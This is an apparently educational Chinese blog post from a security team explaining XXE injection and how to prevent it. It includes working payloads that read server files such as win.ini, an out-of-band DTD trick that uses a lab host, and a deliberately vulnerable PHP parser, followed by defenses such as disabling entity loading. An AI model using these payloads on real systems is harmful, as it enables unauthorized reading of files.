九维团队-绿队(改进)| XXE 外部实体注入科普与防护

admin 2022年10月1日22:08:00评论32 views字数 3854阅读12分50秒阅读模式

九维团队-绿队(改进)| XXE 外部实体注入科普与防护


什么是XXE

XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击。


注入的本质

注入的本质是用户输入的数据被当做代码执行。


基础知识

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,类似下面内容的样子。


示例代码:

<?xml version="1.0"?>//这一行是 XML 文档定义<!DOCTYPE message [//定义XML的根元素是message<!ELEMENT message (username,password)>//定义子元素username password<!ELEMENT username (#PCDATA)>//定义username元素为"#PCDATA"类型<!ELEMENT password (#PCDATA)> //定义password元素为"#PCDATA"类型

*左右滑动查看更多


上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写。


示例代码:

<message><username>admin</username><password>admin</password></message>


其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的。


示例代码:

<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY ><!ENTITY xxe "test" >]>


这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样。


示例代码:

<message><user>&xxe;</user><pass>admin</pass></message>


我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。


重点一


实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部文件中引用,我们看下面的代码:


示例代码:

<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY ><!ENTITY xxe SYSTEM "file:///c:/test.txt" >]><message>    <user>&xxe;</user>    <pass>pass</pass></message>

*左右滑动查看更多


这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)。


重点二


我们上面已经将实体分成了两个派别(内部实体和外部实体),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。


1.通用实体


用 &实体名; 引用的实体,它在DTD 中定义,在 XML 文档中引用。


示例代码:

<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><message>    <user>&xxe;</user>    <pass>pass</pass></message>

*左右滑动查看更多


2.参数实体


(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用。
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体。
(3)和通用实体一样,参数实体也可以外部引用。


示例代码:

<!ENTITY % test "test"><!ENTITY % xxe SYSTEM "http://192.168.59.130/test.txt">%test; %xxe;

*左右滑动查看更多


我们能做什么


实际上当你看到下面这段代码的时候,有一点安全意识的小伙伴应该隐隐约约能觉察出什么。

<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY ><!ENTITY xxe SYSTEM "file:///c:/test.txt" >]><message><user>&xxe;</user><pass>pass</pass></message>

*左右滑动查看更多


既然能读 txt ,那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?


读本地敏感文件


这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。


本地服务器上放上解析 XML 的 php 代码:


示例代码:


xml.php:

<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds;?>

*左右滑动查看更多


payload:

先提交一个正常的 xml 数据:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe "test"> ]><test>&xxe;</test>
九维团队-绿队(改进)| XXE 外部实体注入科普与防护


如果我们提交下面这样的payload,就能看到服务器上的文件内容:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///C://Windows//win.ini"> ]><test>&xxe;</test>
*左右滑动查看更多


九维团队-绿队(改进)| XXE 外部实体注入科普与防护

但是因为这个文件没有什么特殊符号,读取的时候可以说是相当的顺利,那么假如要是换成下面这个文件呢?


如图所示:

九维团队-绿队(改进)| XXE 外部实体注入科普与防护


测试一下,结果如下图:

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

可以看到,不但没有读到我们想要的文件,反而还报了一堆错,怎么办?这个时候就要祭出我们XML元素的另一个类型CDATA。


介绍如下:

九维团队-绿队(改进)| XXE 外部实体注入科普与防护


CDATA是在XML文档里面使用的关键字,用来告诉浏览器,这部分内容不用解析,是给其他程序用的,比如js代码等。CDATA 部分由 "开始,由 "]]>" 结束。


那么要想在 DTD中拼接,我们知道只有一种选择,就是使用参数实体。


payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY % start "<![CDATA["><!ENTITY % xxe SYSTEM "file:///c:/test.txt"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://192.168.59.130/test.dtd">%dtd; ]><test>&test;</test>

*左右滑动查看更多


test.dtd:

<?xml version="1.0" encoding="UTF-8"?><!ENTITY test "%start;%xxe;%end;">

成功读取到test.txt:

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

以上就是对XXE外部实体注入简单的科普。


防护手段


知道了XXE外部实体注入的简单原理,又该如何防御呢?


方法一:

使用语言中推荐的禁用外部实体的方法

PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

*左右滑动查看更多


方法二:

手动黑名单过滤(不推荐)

过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC


—  往期回顾  —

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

九维团队-绿队(改进)| XXE 外部实体注入科普与防护



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)| XXE 外部实体注入科普与防护

九维团队-绿队(改进)| XXE 外部实体注入科普与防护
九维团队-绿队(改进)| XXE 外部实体注入科普与防护

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| XXE 外部实体注入科普与防护

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日22:08:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| XXE 外部实体注入科普与防护http://cn-sec.com/archives/1305021.html

发表评论

匿名网友 填写信息